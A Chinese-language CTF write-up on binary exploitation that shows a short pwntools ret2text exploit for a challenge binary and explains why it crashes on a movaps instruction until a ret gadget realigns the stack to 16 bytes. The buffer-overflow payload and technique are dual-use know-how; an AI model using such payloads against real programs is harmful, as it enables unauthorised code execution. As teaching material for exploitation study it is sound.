介绍

在 Pwn 的学习中，对于初学者常常会遇到这个问题：
找到了溢出点，并且知道如何溢出，但是不知道为什么自己的Payload并没有成功，Pwntools报错EOF：

今天趁着有时间，来仔细研究一下为什么会发生这种情况。

知识要点

xmm 寄存器要求内存地址对齐，对齐由内存位数决定，本文中为16字节对齐。

正文

首先我随手拽了一题很简单的ret2text。
FindanotherWay

可以看到是真的基础的那种。然后我们使用EXP：

from PwnModules import *

binary = './FindanotherWay'
io = process(binary)
#io = remote('node5.anna.nssctf.cn', 28852)
elf = ELF(binary)

Padding = b'A' * (12 + 0x08)

# 0x401230 是本题的backdoor函数。
Payload = Padding + p64(0x401230)

debug(io)
io.sendline(Payload)

io.interactive()

然后就EOF了，为什么呢？
打开GDB，开始逐步调试：

在还没执行read函数之前是这样的，然后我们调试到下一步。（中间跳过了几步，因为我觉得没啥必要）

可以看到现在我们的RBX已经被Payload覆盖。
这是即将执行system(‘/bin/sh’)的时候：

可以看到似乎没有什么异常情况，RDI寄存器的值是/bin/sh，RAX寄存器也为0，而看起来同样的这段就能正确执行

继续执行，程序会抛出SIGSEGV错误，卡在指令：

movaps xmmword ptr [rsp + 0x50], xmm0 处。
通过谷歌我们可以得知：
x86 Instruction Set Reference

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.

当操作数或源操作数是内存地址时，内存地址必须为16字节对齐。（不固定，但是这个情况是16字节对齐。）

看看参数部分：[rsp + 0x50], xmm0

很显然我们的rsp不是16字节对齐的，16字节对齐的意思就是地址末尾以0结束，比如上文中的0x7ffc685c2970，就是以0结尾的。
也就是说，我们需要使我们的RSP地址16字节对齐才能成功执行这段语句：movaps xmmword ptr [rsp + 0x50], xmm0。
回过来，我们提到了ret。那么ret的作用是什么呢？
正常函数一般逻辑是这样的：

endbr64
push    rbp
mov     rbp, rsp
lea     rdi, aCongratulation ; "Congratulations , now you find another "...
call    _puts
lea     rdi, aHereIsMyGiftEn ; "Here is my gift , enjoy yourself"
call    _puts
lea     rdi, command    ; "/bin/sh"
mov     eax, 0
call    _system
nop
pop     rbp
retn

返回地址与ret是如何处理的呢？
是这样的：
call和ret的实现逻辑可以大概视为进行了这样的操作（严格来说是错误的，只是实际上实现了差不多的逻辑。）：

# call
push rip
jmp addr

# ret
pop rip
jump rip

我们尝试在Payload中加上ret指令。

可以发现变成了这样，执行了2遍ret。

并且这个操作不会影响我们的ROP链的执行，因为相当于原地踏步了一次，同时还对齐了RSP地址。

因此最简单的栈对齐方式就是通过添加一个ret gadget。